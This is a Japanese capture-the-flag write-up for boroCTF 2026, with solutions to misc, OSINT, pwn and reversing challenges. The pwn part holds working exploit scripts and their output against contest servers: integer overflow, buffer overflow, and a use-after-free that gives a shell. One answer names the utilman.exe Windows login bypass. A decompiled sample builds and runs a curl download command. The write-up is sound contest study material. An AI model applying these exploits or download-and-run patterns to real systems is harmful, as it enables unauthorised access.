この大会は2026/6/13 5:00(JST)~2026/6/16 13:00(JST)に開催されました。
今回もチームで参戦。結果は9600点で831チーム中135位でした。
自分で解けた問題をWriteupとして書いておきます。
AI Slop (Misc 100)

この画像はどのAIが作ったかという問題。
画像の右下に四芒星のグリフが見える。これはGeminiの特徴に合致する。
boroCTF{gemini}
Nature's Delight (Misc 100)

問題文はこうなっている。
I found this tag stuck on the back of my shirt! My friend must have put it... but who even makes these?
flag format: boroCTF{tag_maker}画像のバーコード番号は以下のように読める。
075720481279
「upc 075720481279」で検索すると、Poland Springs Waterのことが出てくる。
boroCTF{poland_spring}
Its a Simple Challenge Really (Misc 100)
問題文はこうなっている。
Before our recent operation, criminals took four confidential unencrypted records.
Law yields bad results around clever kidnappers, exposing their secret identities.
Many people leave evidence under new digital environments.
Review some captured online records early.
Open source intelligence needs to carefully uncover real locations. You better review all coordinates, knowing experts triumph.
flag format: boroCTF{flag}問題文の各単語の先頭の文字を並べる。
BoroctfcurLybracketsiMpleundeRscoreOsintcurlYbracket
適当なところでスペースを入れ、すべて小文字にする。
boroctf curlybracket simple underscore osint curlybracket
これをフラグにする。
boroCTF{simple_osint}
64 is life (Misc 200)
ctf_chunksフォルダの中には数字をbase64エンコードしたファイル名で、内容は"40"が必ず含まれている。全体を見ていくと、"40"の前に1文字含まれていて、結合するとbase64文字列になると推測できる。
from base64 import *
b64 = ''
for i in range(1, 65):
fname = f'ctf_chunks/{b64encode(str(i).encode()).decode()}'
with open(fname, 'r') as f:
data = f.read()
b64 += data.replace('40', '')
flag = b64decode(b64).decode()
print(flag)
boroCTF{s1xty_f0ur_b3auty}
File File Crocodile (Misc 200)
バイナリエディタで見ると、後半にpngの後ろにzipらしきデータが含まれている。ただし、先頭が"FC"となっているので、修正して切り出す。他にも"FC"となっている部分は"PK"だと推測できるので、修正する。
zipにはパスワードがかかっている。
問題文を見ると、こう書いてある。
Interrogating him didn't work as the only word he seemed to know was "croc".
パスワードを croc として、zipを解凍すると、flag.txtが展開されて、フラグが書いてあった。
boroCTF{n3v3r_sm1l3_4t_4_p0lygl0t_cr0c0d1l3}
Boro Hero (OSINT 100)
問題文はこうなっている。
This famous Freehold High School alum skipped his graduation and became a best-selling artist.
Flag Format: boroCTF{first_last}「famous Freehold High School alum best-selling artist」で検索すると、以下のWikipediaが見つかる。
https://en.wikipedia.org/wiki/Bruce_Springsteen
問題に書いてある内容とも合っている。
boroCTF{bruce_springsteen}
Nature's Takeover (OSINT 100)

問題文はこうなっている。
You can't beat nature. What is this?
Example if the flag was "not the flag": boroCTF{not_the_flag}画像検索すると、AI による概要に以下のように表示された。
- これはオーストラリアのシドニーにある、SSエアフィールド号の残骸です。
- 1911年に建造された貨物船で、現在は木々が生い茂り「森の船」として知られています。
- この場所はホームブッシュ湾にある難破船の1つです。
これは SS Ayrfield であることがわかった。
boroCTF{ss_ayrfield}
Hidden Meaning (OSINT 100)
問題文はこうなっている。
I really used to love this one song, but I forgot the name.
All I remember is that it had a SUPER dark message and it came out maybe around 10-15 years ago?
Now that I think about it, I think it was something about running?
Flag format: boroCTF{song_name}「around 10-15 years ago SUPER dark message song running」で検索すると、AI による概要に以下のように表示された。
You are most likely thinking of the massive viral hit "Pumped Up Kicks" by Foster the People, which was released in 2010 and peaked globally around 2011.
boroCTF{pumped_up_kicks}
Physical Access >> (OSINT 100)
問題文はこうなっている。
Help!! I forgot my password and got locked out of my Windows PC!
I need to get back in, what can I do?!
What is one of the two files I can exploit in order to get back into my PC?
Flag format: boroCTF{explorer.exe}「Windowsログイン画面 SYSTEM 権限 コマンドプロンプト起動」で検索すると、以下のツールのことが出てくる。
utilman.exe
boroCTF{utilman.exe}
Oops... (OSINT 100)
問題文はこうなっている。
My friend (again) was telling me a story about how around two years ago,
he may or may not have accidentally pushed a change to a file that disrupted millions
of systems at an unprecedented scale.
What was the general name of the configuration file that he modified that broke everything?
Flag Format: boroCTF{file_name_67}「2024 pushed a change to a file that disrupted millions of systems」で検索すると、AI による概要に以下のように表示された。
2024年7月19日、サイバーセキュリティ企業のCrowdStrikeは、Falcon Sensorソフトウェアに不具合のある
構成アップデート(チャネルファイル291)を配信しました。これにより、世界中の数百万台のMicrosoft Windowsデバイスで
論理エラーが発生し、約850万台のシステムが「ブルースクリーン」が表示され、無限再起動ループに陥りました。
バグのあるファイルがオペレーティングシステムのカーネルの奥深くに埋め込まれていたため、
デバイスごとに手動で修復する必要が生じ、世界中のインフラに歴史的な混乱を引き起こした。
さらに「2024 CrowdStrike IT障害 config file」で検索すると、AI による概要に以下のように表示された。
2024年のCrowdStrike大規模障害は、Windows端末に自動配信されたFalconセンサーの更新ファイル(チャネルファイル)
「C-00000291*.sys」にロジックエラーが含まれていたことが原因です。
このファイルがシステムカーネルによって読み込まれた際、メモリの境界外アクセスを引き起こし、
ブルースクリーン(BSoD)を多発させました。
boroCTF{channel_file_291}
The Squad (OSINT 100)
問題文はこうなっている。
What is the name of the team that organized boroCTF?
Discordに入り、主催者の一人を確認すると、SolarityPyという人がいる。
「boroCTF SolarityPy」で検索すると、以下のctftimesのページが見つかる。
https://ctftime.org/team/424457/
どうやら KyteBytes というチームに所属しているようだ。
boroCTF{KyteBytes}
Minecraftsint (OSINT 100)

問題文はこうなっている。
I was tryna hug these green guys when I noticed how beautiful this biome is. What biome am I in?
(CAREFUL ONLY 2 ATTEMPTS)
(If necessary, seperate any spaces with an underscore) Example flag: boroCTF{minecraft_plains}ChatGPTに聞いてみたところ、以下の理由により、雪の斜面(Snowy Slopes)であるとのこと。
- 地形は平坦なツンドラや平原ではなく、雪に覆われた山腹である。
- そこには、岩肌がむき出しになった険しい雪山の斜面があり、現代の山岳バイオームの描写と一致する。
- 氷の尖塔(氷柱がない)、凍った山頂(氷が足りない)、雪原(地形が山がちすぎる)のいずれにも当てはまらない。
boroCTF{snowy_slopes}
Fireman (OSINT 100)

問題文はこうなっている。
Here's a real easy OSINT to give you guys a small break.
Find the name of the man in this image. FULL name including middle initial.
Then wrap it with boroCTF{} yourself. (Replace spaces with an underscore)
Example flag: boroCTF{forever_f_flames}画像を拡大して、画像検索すると、以下のページが見つかった。
https://www.facebook.com/groups/410267209587130/posts/1847388779208292/
タイトルはRate my Sunsetとなっている。投稿者はPeter C Lukensである。
boroCTF{peter_c_lukens}
Go Knicks! (OSINT 100)
問題文はこうなっている。
In 1971, a man famous for casting theatrical "whammies" on opposing teams followed his favorite player
to New York, eventually getting his hexes banned by the Knicks' front office.
Find the full birth name of the man who cast these 'whammies' (First, Middle, Last).
The Knicks played in the very first BAA (now NBA) game in 1946.
What was the exact height (in feet and inches, format: X'Y") that guaranteed a fan free admission to that specific inaugural game?
The team's "Knickerbocker" moniker originates from a pseudonym used by Washington Irving for his 1809 book.
What is the first name of this fictional author?
In 1947, the Knicks drafted the league's very first non-white player. What university did he attend?
Example Format: boroCTF{John_Jacob_Jingleheimer_6'9"_Rip_Rutgers}ChatGPTに聞いてみた。
以下の記事から「呪い」をかけた男の名前は Edward Marvin Cooper。
https://www.revolt.tv/article/new-york-knicks-fun-facts-every-fan-should-know
1946年にニックスがBAA(現在のNBA)初の公式戦に出場し、そのときにファンが無料で入場できた身長については、以下のページにあるGeorge Nostrandの身長であるため、6 ft 8 in。
https://en.wikipedia.org/wiki/George_Nostrand
Knickerbocker の架空著者名については以下のページに書かれている。
https://en.wikipedia.org/wiki/A_History_of_New_York
その名前はDiedrich Knickerbocker。
1947年にリーグ初の非白人選手をドラフト指名した人はWat Misaka。その出身大学は以下のぺージによるとユタ大学。
https://ja.wikipedia.org/wiki/%E3%83%AF%E3%83%83%E3%83%84%E3%83%BB%E3%83%9F%E3%82%B5%E3%82%AB
boroCTF{Edward_Marvin_Cooper_6'8"_Diedrich_Utah}
Nutella (OSINT 200)
問題文はこうなっている。
This person didn't seem very happy when a bill was introduced making this certain nut the State Nut.
Flag format: boroCTF{Solarity_Py_peanut}問題文をそのまま検索すると、AI による概要に以下のように表示された。
New Jersey Republican Assemblyman Brian Bergen strongly opposed a bill making the hazelnut the official state nut.
boroCTF{Brian_Bergen_hazelnut}
Geopro 5 (Geosint 100)

問題文はこうなっている。
What country am I in?
Note: ONLY 5 GUESSES
flag format: boroCTF{country}アラビア語と英語の二言語表記の店の看板がある。また電話番号らしき「95967008」という表記がある。
ChatGPTに聞いてみたところ、95で始まる8桁の電話番号はオマーンの携帯電話番号の一般的な形式とのこと。
boroCTF{oman}<
Coming Together (Pwn 100)
Ghidraでデコンパイルする。
bool main(void)
{
uint uVar1;
FILE *__stream;
long in_FS_OFFSET;
int local_7c;
char local_64 [12];
char local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("What number will you contribute?");
fgets(local_64,0xc,stdin);
local_7c = atoi(local_64);
if (10000 < local_7c) {
puts("Wow there, try not to out do my number too much.");
local_7c = 1;
}
if (local_7c < 0) {
puts("No negatives!");
local_7c = -local_7c;
}
uVar1 = local_7c + 2;
if (-1 < (int)uVar1) {
printf("Our total is %d! Good work everyone!\n",(ulong)uVar1);
}
else {
puts("Huh? That\'s not supposed to happen.");
__stream = fopen("flag.txt","r");
fgets(local_58,0x40,__stream);
puts(local_58);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return -1 >= (int)uVar1;
}
local_7cはintのため、INT_MINを指定した場合、-INT_MINはINT_MINのままになる。これに2を足しても-1以下になり、フラグが表示される。
>>> -2**31
-2147483648
$ nc oq7qaruz5vsw.boroctf.com 25287
What number will you contribute?
-2147483648
No negatives!
Huh? That's not supposed to happen.
boroCTF{tw0s_c0mpl3men+_M3}
boroCTF{tw0s_c0mpl3men+_M3}
Fast Reactions (Pwn 100)
$ nc tnkemaq46125.boroctf.com 56354
Please enter 0x1b0 characters!
指定された数値の長さの文字を入力する。
from pwn import *
p = remote('tnkemaq46125.boroctf.com', 56354)
data = p.recvline().decode().rstrip()
print(data)
count = eval(data.split()[2])
payload = 'A' * count
print(payload)
p.sendline(payload.encode())
data = p.recvline().decode().rstrip()
print(data)
実行結果は以下の通り。
[+] Opening connection to tnkemaq46125.boroctf.com on port 56354: Done
Please enter 0xd7 characters!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nice job! Flag: boroCTF{Hum@n1y_im7o5s!ble}
[*] Closed connection to tnkemaq46125.boroctf.com port 56354
boroCTF{Hum@n1y_im7o5s!ble}
Next Challenge (Pwn 100)
$ nc thww9zyp6ygt.boroctf.com 19350
======================
WELCOME TO VULNBOT!!!
======================
You will need to figure out how to exploit my expert design.
help - list commands
> flag
Are you SURE you don't want to see what the Cheese option does? (y/n)
y
FINE. I guess if you insist.
boroCTF{0nLinE_C@ts*}
boroCTF{0nLinE_C@ts*}
Jin Sakai (Pwn 100)
fight_phase1ではBOFで任意の32バイトの後に0以下の値を書き込めばよい。
fight_phase2では、メニュー選択は3, 1, 2一択。
あとはsamurai_hpの初期値がINT_MAXで、指定したamountをプラスして、INT_MINになればよい。このため、ここで1を指定すれば条件を満たす。
なおアニメーションの出力があるので、出力はあまり考えず、入力する。
from pwn import *
p = remote('w4owkcjzvv0e.boroctf.com', 53217)
p.sendline(b'A'*32 + p32(0x80000000))
p.sendline(b'3')
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
p.interactive()
実行結果は以下の通り。
:
================================================================================
SAMURAI HP 2147483647 PHASE 2/2
================================================================================
[BOSS] I HAVE SHED MY MORTAL SHELL. I AM THE VOID.
--------------------------------------------------------------------------------
>>> How many drops to pour?
>
*** THE BEAST SHATTERS INTO DUST. YOU ARE VICTORIOUS! ***
boroCTF{gh0st_0f_3xpl01t4t10n}
[*] Got EOF while reading in interactive
boroCTF{gh0st_0f_3xpl01t4t10n}
Mania (Pwn 200)
Use After Freeの脆弱性がある。
realPerson->conversateをidealConversationに差し替えることができればよい。
imaginaryFriend と realPerson はどちらも 72 bytes なので、free 後に同じ tcache chunk が再利用される。
imaginaryFriend.special_ability はオフセット40の位置から32バイト分。このため、special_ability[24:32] が realPerson.conversate に対応する。
以下の攻撃手順で実行する。
- メニュー3を選択し任意のfirstName、lastNameを指定
- メニュー4を選択
- メニュー1を選択
- 任意のtitleを指定
- special abilityに任意の24バイト文字列 + idealConversationのアドレスを指定
- ratingに"0"を指定
- メニュー5を選択
from pwn import *
def menu(p, x):
data = p.recvuntil(b'> ').decode()
print(data + str(x))
p.sendline(str(x).encode())
p = remote('0agn86asl3d2.boroctf.com', 44996)
elf = ELF('./chal')
idealConversation_addr = elf.symbols['idealConversation']
menu(p, 3)
data = p.recvuntil(b'firstName: ').decode()
print(data + 'A')
p.sendline(b'A')
data = p.recvuntil(b'lastName: ').decode()
print(data + 'B')
p.sendline(b'B')
menu(p, 4)
menu(p, 1)
data = p.recvuntil(b'title: ').decode()
print(data + 'C')
p.sendline(b'C')
payload = b'A' * 24 + p64(idealConversation_addr)[:7]
data = p.recvuntil(b'special ability: ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
p.recvuntil(b'rating: ')
menu(p, 5)
p.interactive()
実行結果は以下の通り。
[+] Opening connection to 0agn86asl3d2.boroctf.com on port 44996: Done
[*] '/mnt/hgfs/Shared/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
My conversations with my imaginary friends don't feel real anymore.
Can you help me get out of my shell?
[1] - Imagine friend
[2] - Forget friend
[3] - Meet person
[4] - Ghost person
[5] - Interact
> 3
Enter firstName: A
Enter lastName: B
Met 'A B'!
[1] - Imagine friend
[2] - Forget friend
[3] - Meet person
[4] - Ghost person
[5] - Interact
> 4
[1] - Imagine friend
[2] - Forget friend
[3] - Meet person
[4] - Ghost person
[5] - Interact
> 1
Enter title: C
Enter special ability: b'AAAAAAAAAAAAAAAAAAAAAAAA1\x17@\x00\x00\x00\x00'
Imagined 'C' with ability 'AAAAAAAAAAAAAAAAAAAAAAAA1\x17@' (rating 0.0)!
[1] - Imagine friend
[2] - Forget friend
[3] - Meet person
[4] - Ghost person
[5] - Interact
> 5
[*] Switching to interactive mode
Wow! You made a real connection!
$ ls
chal
flag.txt
run
$ cat flag.txt
boroCTF{hYp0M&nic_3xplO1taTio4}
boroCTF{hYp0M&nic_3xplO1taTio4}
Two words, One problem (Pwn 200)
constantが"boroCTF"の場合にフラグを表示させることができる。
non_constantが37バイト、constantが37バイトで並んでいる。メモリ上は任意の48バイトの後に指定して文字列でconstantを上書きできる。
$ nc 1xgu8bd1niap.boroctf.com 34069
Hey, I made a typo and now have a string that I can't change. Can you fix it for me?
[1] - Read values
[2] - Write value
> 2
What would like to write?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAboroCTF
[1] - Read values
[2] - Write value
> 1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAboroCTF boroCTF!
boroCTF{I_c@n_7ix_tH%s}
[1] - Read values
[2] - Write value
>
boroCTF{I_c@n_7ix_tH%s}
Hidden but definitely not (Rev 100)
$ ltrace ./password_protected
printf("Give me the password (youll neve"...Give me the password (youll never find it it's just tooooo hard)
) = 67
fgets(> hoge
"hoge\n", 128, 0x7fe8763738e0) = 0x7ffd8c5fd9f0
strcspn("hoge\n", "\n") = 4
strlen("Rate5Stars") = 10
strcmp("hoge", "Rate5StarsBecauseGreatChallenge") = 22
puts("My disappointment is immeasurabl"...My disappointment is immeasurable.
) = 35
+++ exited (status 0) +++
パスワードは Rate5StarsBecauseGreatChallenge らしい。
$ ./password_protected
Give me the password (youll never find it it's just tooooo hard)
> Rate5StarsBecauseGreatChallenge
wow you really got me this time. if only i used better obfuscation techniques.
boroCTF{I_H8_M@7ing_StR1ng5_cHals}
boroCTF{I_H8_M@7ing_StR1ng5_cHals}
George Orwell (Rev 100)
$ strings big_brother
!This program cannot be run in DOS mode.
Rich\
.text
*:iloveboroctf::
secret := Chr(98) . Chr(111) . Chr(114) . Chr(111) . Chr(67) . Chr(84) . Chr(70) . Chr(123)
secret := secret . Chr(65) . Chr(72) . Chr(75) . Chr(95) . Chr(49) . Chr(115) . Chr(95)
secret := secret . Chr(108) . Chr(73) . Chr(115) . Chr(43) . Chr(101) . Chr(110) . Chr(105)
secret := secret . Chr(52) . Chr(103) . Chr(125)
MsgBox, 64, System Notification, Access Granted!`n`nFlag: %secret%
return
GuiClose:
secretを組み立てる。
>>> s = [98, 111, 114, 111, 67, 84, 70, 123, 65, 72, 75, 95, 49, 115, 95, 108, 73, 115, 43, 101, 110, 105, 52, 103, 125]
>>> ''.join([chr(c) for c in s])
'boroCTF{AHK_1s_lIs+eni4g}'
boroCTF{AHK_1s_lIs+eni4g}
Not Your Time (Rev 100)
Ghidraでデコンパイルする。
bool main(void)
{
bool bVar1;
long in_FS_OFFSET;
int local_b0;
uint local_a8 [28];
char local_38 [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_a8[0] = 0x9d;
local_a8[1] = 0x90;
local_a8[2] = 0x8d;
local_a8[3] = 0x90;
local_a8[4] = 0xbc;
local_a8[5] = 0xab;
local_a8[6] = 0xb9;
local_a8[7] = 0x84;
local_a8[8] = 0xb1;
local_a8[9] = 0xcf;
local_a8[10] = 0x8b;
local_a8[0xb] = 0xa0;
local_a8[0xc] = 0x91;
local_a8[0xd] = 0xb0;
local_a8[0xe] = 0xd4;
local_a8[0xf] = 0xa0;
local_a8[0x10] = 0x8b;
local_a8[0x11] = 0xb7;
local_a8[0x12] = 0xcc;
local_a8[0x13] = 0xa0;
local_a8[0x14] = 0xb9;
local_a8[0x15] = 0xb3;
local_a8[0x16] = 0xbf;
local_a8[0x17] = 0x98;
local_a8[0x18] = 0x82;
printf("> ");
__isoc99_scanf(&DAT_00102007,local_38);
bVar1 = true;
for (local_b0 = 0; local_b0 < 0x19; local_b0 = local_b0 + 1) {
if ((int)local_38[local_b0] != (~local_a8[local_b0] & 0xff)) {
bVar1 = false;
}
}
if (!bVar1) {
puts("Incorrect flag.");
}
else {
puts("Correct flag!");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return !bVar1;
}
local_a8以降をビット反転すればよい。
>>> s = [0x9d, 0x90, 0x8d, 0x90, 0xbc, 0xab, 0xb9, 0x84, 0xb1, 0xcf, 0x8b, 0xa0, 0x91, 0xb0, 0xd4, 0xa0, 0x8b, 0xb7, 0xcc, 0xa0, 0xb9, 0xb3, 0xbf, 0x98, 0x82]
>>> ''.join([chr(c ^ 0xff) for c in s])
'boroCTF{N0t_nO+_tH3_FL@g}'
boroCTF{N0t_nO+_tH3_FL@g}
Cat in the ... Box? (Rev 200)
Ghidraでデコンパイルする。
undefined8 FUN_00101309(undefined8 param_1,sockaddr *param_2)
{
int iVar1;
undefined4 extraout_var;
undefined8 uVar2;
uint local_14;
long local_10;
local_14 = 0;
while ((((int)local_14 < 0 || ((int)local_14 % 0xe != 1)) || ((int)local_14 % 3 != 2))) {
local_14 = local_14 + 1;
if (0x31 < local_14) {
LAB_001013e1:
uVar2 = FUN_0010140b(local_10);
printf("%s",uVar2);
return 0;
}
}
iVar1 = connect((int)(&PTR_s_a1b2c3_00104020)[(int)local_14],param_2,local_14 * 8);
local_10 = CONCAT44(extraout_var,iVar1);
if (local_10 == 0) {
fwrite("Binary no reponse. Try again in a moment.\n",1,0x2a,stderr);
return 1;
}
goto LAB_001013e1;
}
int connect(int __fd,sockaddr *__addr,socklen_t __len)
{
byte bVar1;
size_t sVar2;
FILE *pFVar3;
undefined4 in_register_0000003c;
char *__s;
long in_FS_OFFSET;
ulong local_2b0;
char local_2a8 [128];
byte local_228 [25];
undefined1 local_20f;
byte local_1a8 [4];
undefined1 local_1a4;
char local_128 [264];
long local_20;
__s = (char *)CONCAT44(in_register_0000003c,__fd);
local_20 = *(long *)(in_FS_OFFSET + 0x28);
for (local_2b0 = 0; local_2b0 < 0x19; local_2b0 = local_2b0 + 1) {
bVar1 = (&DAT_00102010)[local_2b0];
sVar2 = strlen(__s);
local_228[local_2b0] = bVar1 ^ __s[local_2b0 % sVar2];
}
local_20f = 0;
for (local_2b0 = 0; local_2b0 < 4; local_2b0 = local_2b0 + 1) {
bVar1 = (&DAT_00102029)[local_2b0];
sVar2 = strlen(__s);
local_1a8[local_2b0] = bVar1 ^ __s[local_2b0 % sVar2];
}
local_1a4 = 0;
tmpnam(local_2a8);
strncpy(&DAT_001041e0,local_2a8,0x7f);
DAT_0010425f = 0;
local_128[0] = '\0';
local_128[1] = '\0';
local_128[2] = '\0';
local_128[3] = '\0';
local_128[4] = '\0';
local_128[5] = '\0';
local_128[6] = '\0';
local_128[7] = '\0';
local_128[8] = '\0';
local_128[9] = '\0';
local_128[10] = '\0';
local_128[0xb] = '\0';
local_128[0xc] = '\0';
local_128[0xd] = '\0';
local_128[0xe] = '\0';
local_128[0xf] = '\0';
local_128[0x10] = '\0';
local_128[0x11] = '\0';
local_128[0x12] = '\0';
local_128[0x13] = '\0';
local_128[0x14] = '\0';
local_128[0x15] = '\0';
local_128[0x16] = '\0';
local_128[0x17] = '\0';
local_128[0x18] = '\0';
local_128[0x19] = '\0';
local_128[0x1a] = '\0';
local_128[0x1b] = '\0';
local_128[0x1c] = '\0';
local_128[0x1d] = '\0';
local_128[0x1e] = '\0';
local_128[0x1f] = '\0';
local_128[0x20] = '\0';
local_128[0x21] = '\0';
local_128[0x22] = '\0';
local_128[0x23] = '\0';
local_128[0x24] = '\0';
local_128[0x25] = '\0';
local_128[0x26] = '\0';
local_128[0x27] = '\0';
local_128[0x28] = '\0';
local_128[0x29] = '\0';
local_128[0x2a] = '\0';
local_128[0x2b] = '\0';
local_128[0x2c] = '\0';
local_128[0x2d] = '\0';
local_128[0x2e] = '\0';
local_128[0x2f] = '\0';
local_128[0x30] = '\0';
local_128[0x31] = '\0';
local_128[0x32] = '\0';
local_128[0x33] = '\0';
local_128[0x34] = '\0';
local_128[0x35] = '\0';
local_128[0x36] = '\0';
local_128[0x37] = '\0';
local_128[0x38] = '\0';
local_128[0x39] = '\0';
local_128[0x3a] = '\0';
local_128[0x3b] = '\0';
local_128[0x3c] = '\0';
local_128[0x3d] = '\0';
local_128[0x3e] = '\0';
local_128[0x3f] = '\0';
local_128[0x40] = '\0';
local_128[0x41] = '\0';
local_128[0x42] = '\0';
local_128[0x43] = '\0';
local_128[0x44] = '\0';
local_128[0x45] = '\0';
local_128[0x46] = '\0';
local_128[0x47] = '\0';
local_128[0x48] = '\0';
local_128[0x49] = '\0';
local_128[0x4a] = '\0';
local_128[0x4b] = '\0';
local_128[0x4c] = '\0';
local_128[0x4d] = '\0';
local_128[0x4e] = '\0';
local_128[0x4f] = '\0';
local_128[0x50] = '\0';
local_128[0x51] = '\0';
local_128[0x52] = '\0';
local_128[0x53] = '\0';
local_128[0x54] = '\0';
local_128[0x55] = '\0';
local_128[0x56] = '\0';
local_128[0x57] = '\0';
local_128[0x58] = '\0';
local_128[0x59] = '\0';
local_128[0x5a] = '\0';
local_128[0x5b] = '\0';
local_128[0x5c] = '\0';
local_128[0x5d] = '\0';
local_128[0x5e] = '\0';
local_128[0x5f] = '\0';
local_128[0x60] = '\0';
local_128[0x61] = '\0';
local_128[0x62] = '\0';
local_128[99] = '\0';
local_128[100] = '\0';
local_128[0x65] = '\0';
local_128[0x66] = '\0';
local_128[0x67] = '\0';
local_128[0x68] = '\0';
local_128[0x69] = '\0';
local_128[0x6a] = '\0';
local_128[0x6b] = '\0';
local_128[0x6c] = '\0';
local_128[0x6d] = '\0';
local_128[0x6e] = '\0';
local_128[0x6f] = '\0';
local_128[0x70] = '\0';
local_128[0x71] = '\0';
local_128[0x72] = '\0';
local_128[0x73] = '\0';
local_128[0x74] = '\0';
local_128[0x75] = '\0';
local_128[0x76] = '\0';
local_128[0x77] = '\0';
local_128[0x78] = '\0';
local_128[0x79] = '\0';
local_128[0x7a] = '\0';
local_128[0x7b] = '\0';
local_128[0x7c] = '\0';
local_128[0x7d] = '\0';
local_128[0x7e] = '\0';
local_128[0x7f] = '\0';
local_128[0x80] = '\0';
local_128[0x81] = '\0';
local_128[0x82] = '\0';
local_128[0x83] = '\0';
local_128[0x84] = '\0';
local_128[0x85] = '\0';
local_128[0x86] = '\0';
local_128[0x87] = '\0';
local_128[0x88] = '\0';
local_128[0x89] = '\0';
local_128[0x8a] = '\0';
local_128[0x8b] = '\0';
local_128[0x8c] = '\0';
local_128[0x8d] = '\0';
local_128[0x8e] = '\0';
local_128[0x8f] = '\0';
local_128[0x90] = '\0';
local_128[0x91] = '\0';
local_128[0x92] = '\0';
local_128[0x93] = '\0';
local_128[0x94] = '\0';
local_128[0x95] = '\0';
local_128[0x96] = '\0';
local_128[0x97] = '\0';
local_128[0x98] = '\0';
local_128[0x99] = '\0';
local_128[0x9a] = '\0';
local_128[0x9b] = '\0';
local_128[0x9c] = '\0';
local_128[0x9d] = '\0';
local_128[0x9e] = '\0';
local_128[0x9f] = '\0';
local_128[0xa0] = '\0';
local_128[0xa1] = '\0';
local_128[0xa2] = '\0';
local_128[0xa3] = '\0';
local_128[0xa4] = '\0';
local_128[0xa5] = '\0';
local_128[0xa6] = '\0';
local_128[0xa7] = '\0';
local_128[0xa8] = '\0';
local_128[0xa9] = '\0';
local_128[0xaa] = '\0';
local_128[0xab] = '\0';
local_128[0xac] = '\0';
local_128[0xad] = '\0';
local_128[0xae] = '\0';
local_128[0xaf] = '\0';
local_128[0xb0] = '\0';
local_128[0xb1] = '\0';
local_128[0xb2] = '\0';
local_128[0xb3] = '\0';
local_128[0xb4] = '\0';
local_128[0xb5] = '\0';
local_128[0xb6] = '\0';
local_128[0xb7] = '\0';
local_128[0xb8] = '\0';
local_128[0xb9] = '\0';
local_128[0xba] = '\0';
local_128[0xbb] = '\0';
local_128[0xbc] = '\0';
local_128[0xbd] = '\0';
local_128[0xbe] = '\0';
local_128[0xbf] = '\0';
local_128[0xc0] = '\0';
local_128[0xc1] = '\0';
local_128[0xc2] = '\0';
local_128[0xc3] = '\0';
local_128[0xc4] = '\0';
local_128[0xc5] = '\0';
local_128[0xc6] = '\0';
local_128[199] = '\0';
local_128[200] = '\0';
local_128[0xc9] = '\0';
local_128[0xca] = '\0';
local_128[0xcb] = '\0';
local_128[0xcc] = '\0';
local_128[0xcd] = '\0';
local_128[0xce] = '\0';
local_128[0xcf] = '\0';
local_128[0xd0] = '\0';
local_128[0xd1] = '\0';
local_128[0xd2] = '\0';
local_128[0xd3] = '\0';
local_128[0xd4] = '\0';
local_128[0xd5] = '\0';
local_128[0xd6] = '\0';
local_128[0xd7] = '\0';
local_128[0xd8] = '\0';
local_128[0xd9] = '\0';
local_128[0xda] = '\0';
local_128[0xdb] = '\0';
local_128[0xdc] = '\0';
local_128[0xdd] = '\0';
local_128[0xde] = '\0';
local_128[0xdf] = '\0';
local_128[0xe0] = '\0';
local_128[0xe1] = '\0';
local_128[0xe2] = '\0';
local_128[0xe3] = '\0';
local_128[0xe4] = '\0';
local_128[0xe5] = '\0';
local_128[0xe6] = '\0';
local_128[0xe7] = '\0';
local_128[0xe8] = '\0';
local_128[0xe9] = '\0';
local_128[0xea] = '\0';
local_128[0xeb] = '\0';
local_128[0xec] = '\0';
local_128[0xed] = '\0';
local_128[0xee] = '\0';
local_128[0xef] = '\0';
local_128[0xf0] = '\0';
local_128[0xf1] = '\0';
local_128[0xf2] = '\0';
local_128[0xf3] = '\0';
local_128[0xf4] = '\0';
local_128[0xf5] = '\0';
local_128[0xf6] = '\0';
local_128[0xf7] = '\0';
local_128[0xf8] = '\0';
local_128[0xf9] = '\0';
local_128[0xfa] = '\0';
local_128[0xfb] = '\0';
local_128[0xfc] = '\0';
local_128[0xfd] = '\0';
local_128[0xfe] = '\0';
local_128[0xff] = '\0';
snprintf(local_128,0x100,"curl -s -o \"%s\" \"%s%s%s\"",&DAT_001041e0,local_228,__s,local_1a8);
system(local_128);
pFVar3 = fopen(&DAT_001041e0,"r");
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return (int)pFVar3;
}
DAT_00102010 XREF[2]: connect:00101550(*),
connect:00101561(*)
00102010 11 ?? 11h
00102011 19 ?? 19h
00102012 03 ?? 03h
00102013 15 ?? 15h
00102014 0a ?? 0Ah
00102015 59 ?? 59h Y
00102016 56 ?? 56h V
00102017 42 ?? 42h B
00102018 11 ?? 11h
00102019 0c ?? 0Ch
0010201a 15 ?? 15h
0010201b 06 ?? 06h
0010201c 0a ?? 0Ah
0010201d 43 ?? 43h C
0010201e 14 ?? 14h
0010201f 04 ?? 04h
00102020 0d ?? 0Dh
00102021 01 ?? 01h
00102022 16 ?? 16h
00102023 15 ?? 15h
00102024 59 ?? 59h Y
00102025 08 ?? 08h
00102026 16 ?? 16h
00102027 06 ?? 06h
00102028 56 ?? 56h V
DAT_00102029 XREF[2]: connect:001015d7(*),
connect:001015e8(*)
00102029 57 ?? 57h W
0010202a 19 ?? 19h
0010202b 0f ?? 0Fh
0010202c 11 ?? 11h
PTR_s_a1b2c3_00104020 XREF[2]: FUN_00101309:00101386(*),
FUN_00101309:0010138d(*)
00104020 2d 20 10 addr s_a1b2c3_0010202d = "a1b2c3"
00 00 00
00 00
